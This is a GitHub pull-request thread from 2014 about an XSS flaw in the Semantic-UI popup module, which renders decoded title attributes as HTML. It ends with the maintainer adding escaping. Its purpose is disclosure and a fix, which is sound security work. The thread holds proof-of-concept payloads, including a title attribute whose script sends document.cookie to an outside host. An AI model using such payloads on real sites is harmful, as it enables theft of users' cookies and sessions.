Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Modules] All module templates should escape unsafe values #1033

Closed
wants to merge 1 commit into from
Closed

Conversation

rdner
Copy link

@rdner rdner commented Aug 24, 2014

Hello, everyone!

We use this awesome Semantic-UI library at our project http://konfettin.ru.
Thanks a lot for your work!

We faced such problem as XSS vulnerability in popups.
For example, we have such element:

<a href="/some/link" title="&lt;script&gt;alert('Hello, world!');&lt;script&gt;">Link</a>

If this element is used with Semantic-UI popup module and popup is shown you see alert. The problem is when you get attribute value with $('selector').attr('title') it returns decoded HTML and it is not safe to use it without any processing.

I've found in popup docs here that for exacly HTML output in popup data-html property should be used otherwise any developer expects to see safe encoded text.

@KabluBR
Copy link

KabluBR commented Aug 24, 2014

I cannot see XSS here...
Can you craft some link with this injection? If not this is not XSS...

On Sun, Aug 24, 2014 at 2:48 AM, Denis Rechkunov notifications@github.com
wrote:

Hello, everyone!

We use this awesome Semantic-UI library at our project konfettin.ru.
Thanks a lot for your work!

We faced such problem as XSS vulnerability in popups.
For example, we have such element:

Link

If this element is used with Semantic-UI popup module and popup is shown
you see alert. The problem is when you get attribute value with
$('selector').attr('title') it returns decoded HTML and it is not safe to
use it without any processing.

I've found in popup docs here
http://semantic-ui.com/modules/popup.html#/usage that for exacly HTML
output in popup data-html property should be used otherwise any developer

expects to see safe encoded text.

You can merge this Pull Request by running

git pull https://github.com/pragmadash/Semantic-UI master

Or view, comment on, or merge it at:

#1033
Commit Summary

  • Fix XSS vulnerability in popups

File Changes

Patch Links:


Reply to this email directly or view it on GitHub
#1033.

@rdner
Copy link
Author

rdner commented Aug 24, 2014

Really? I thought my example is very obvious.

Ok, here is such example.

Craft XSS link:

<a href="/some/link" class="popup" title="&lt;script&gt;$.get('http://google.com', {data: document.cookie})&lt;/script&gt;">Link</a>

Enable popup for this link:

$('.popup').popup()

And now when you hover this link by mouse cursor your cookies will be sent to google.com.

@KabluBR
Copy link

KabluBR commented Aug 24, 2014

This is not a xss... a xss is only valid if you can send a url link (direct
link not a html tag) to other user that contais querystrings that may
change the page content. In your example you are changing title what is not
possible to do in a browser url locarion.
Base principle of xss is server side lack of validation what must be fixed
server side.
Whatever you change using any inspector is not a bug.
Em 24/08/2014 03:16, "Denis Rechkunov" notifications@github.com escreveu:

Really? I thought my example is very obvious.

Ok, here is such example.

Craft XSS link:

Link

Enable popup for this link:

$('.popup').popup()

And now when you hover this link by mouse cursor your cookies will be sent
to google.com.


Reply to this email directly or view it on GitHub
#1033 (comment)
.

@rdner
Copy link
Author

rdner commented Aug 24, 2014

In this case link title is a user-generated content that was properly encoded at server-side.

One more time: link title has encoded value that should be safe for any browser-side rendering logic. And popup should use it safely, but it does not.
Anyway I will continue to use patched version of Semantic-UI in my project. Very sad that you do not understand the problem.

@brigand
Copy link
Contributor

brigand commented Aug 24, 2014

I agree. If the ability to use arbitrary html in these is important, there should be an explicit option (data-title-html, for example). Otherwise it's assumed that title will be applied as text.

@KabluBR XSS vulnerabilities can occur any time users impact what's is inserted into a page – server side or client side. It doesn't matter where the content comes from.

@KabluBR
Copy link

KabluBR commented Aug 24, 2014

I understand your problem, just want to be clear that this is not the
reason for the XSS itself.
This kind of issue should be handled at server side.... like you handle any
other content...
When you are creating any title of the A tag, generating it by user tools,
you can remove special characters like <>" ' by server side.

@KabluBR
Copy link

KabluBR commented Aug 24, 2014

Frankie,

In the case you have users creating dynamic code do TITLE properties you
MUST handle the data acordingly your client side needs...

I am not saying that it cannot also be handled by client side scripts, but
just wanted to make it clear that the this is not how xss works...

http://en.wikipedia.org/wiki/Cross-site_scripting

So if you have any js lib that encode any decoded html, you can simply
handle it at server side by input validation (in this case removing <>" '
characters).

Anyway you can change client script to match your needs too...

On Sun, Aug 24, 2014 at 2:34 PM, Frankie Bagnardi notifications@github.com
wrote:

I agree. If the ability to use arbitrary html in these is important, there
should be an explicit option (data-title-html, for example). Otherwise it's
assumed that title will be applied as text.

@KabluBR https://github.com/KabluBR XSS vulnerabilities can occur any
time users impact what's is inserted into a page – server side or client
side. It doesn't matter where the content comes from.


Reply to this email directly or view it on GitHub
#1033 (comment)
.

@jlukic
Copy link
Member

jlukic commented Aug 25, 2014

No need for ad hominem. All comments here were done in good faith. Calling someone's misunderstanding of your technical perspective sad doesn't help resolve an issue, or contribute to the discussion.

There is no single attack vector for XSS, and it can be very complicated to handle all possible variations. In general protecting against XSS boils down to some form of string replacement, which can be done anywhere.

Rather than try to solve for all possible XSS possibilities in a JS/CSS framework, it's my belief it is better to solve these encoding issues server side.

I appreciate your contribution, and I encourage you to continue to submit pull requests if you see other issues when implementing SUI.

@jlukic jlukic closed this Aug 25, 2014
@rdner
Copy link
Author

rdner commented Aug 25, 2014

Nobody cares that special chars are removed from title in my example?

Please read again all my examples: special chars like < > & " were removed from title at server-side, they are replaced by &lt; &gt; &amp; &quot and SUI decode it back to HTML < > & " and that is wrong!

Please could you provide an example how can I output such text in popup?
<a href="something">
Exactly the text, not HTML, I want that to see example of HTML code in my popup.

I am sure there is no such example, because even encoded HTML with safe replacements from server will be decoded back to HTML by SUI and I see just a rendered link in popup.

@KabluBR
Copy link

KabluBR commented Aug 25, 2014

Hi all, sorry Pragmadash if I did look like I was discussing in a bad way.

I just wanted to extend this issue as I already faced it many and many times, to know if it was really an client problem.

Anyway, I just tested it and in my browser it does not show the issue you have there.
Please see attachments

screenshot_2
screenshot_1

.

@rdner
Copy link
Author

rdner commented Aug 25, 2014

@KabluBR Please generate the same title value at server-side not just setting via jQuery.

@rdner
Copy link
Author

rdner commented Aug 25, 2014

There is an example on jsFiddle http://jsfiddle.net/pragmadash/0o3p4ghm/11/ that demonstrates situation with title attribute rendered at server-side with replacements < > & " to &lt; &gt; &amp; &quot respectively.

@brigand
Copy link
Contributor

brigand commented Aug 25, 2014

@pragmadash they're saying you should double escape it.

Not escaped: <a href="something">

Escaped: &lt;a href=&quot;something&quot;&gt;

Double escaped: &amp;lt;a href=&amp;quot;something&amp;quot;&amp;gt;

fiddle


Rather than try to solve for all possible XSS possibilities in a JS/CSS framework...

Exactly, you don't want to fix problems, but you really really don't want to be the cause of them.

@jlukic
Copy link
Member

jlukic commented Aug 25, 2014

Alright, I'll cut this discussion short. The total cost of escaping html is a few bytes larger files over-the-wire, there's no harm in including it. JS Templating libraries appear to do this by default as a safeguard against xss. If your curious, here's Handlebar's exact implementation

I'm going to include this in the 1.0 branch and then perhaps back-port it to 0.x.x branch.
This will affect more modules than popup. Any module that includes templates with string concatenation needs to escape strings.

@pragmadash You can also specify your own popup, so you don't have to deal with javascript construction at all. Its much faster, and avoids issues with unsafe content. See this JSfiddle. You can also use this method to specify complex popup content, like adding grids inside of a popup for a wide dropdown menu.

@rdner
Copy link
Author

rdner commented Aug 25, 2014

@brigand In my opinion double escaping is not a solution. I do not know any template engine that does it with output avoid such problems.

@jlukic Thank you for understanding and advice. Looking forward for your changes in SUI.

@jlukic jlukic changed the title Fix XSS vulnerability in popups [Modules] All module templates should escape unsafe values Aug 25, 2014
jlukic added a commit that referenced this pull request Aug 25, 2014
@jlukic
Copy link
Member

jlukic commented Aug 25, 2014

Added escaped parameters as part of settings object, can overwrite with a custom function if necessary. See commit for more

$.fn.popup.settings.templates.escape = function() {
 // my custom escape function
};

@lubber-de

This comment was marked as spam.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

5 participants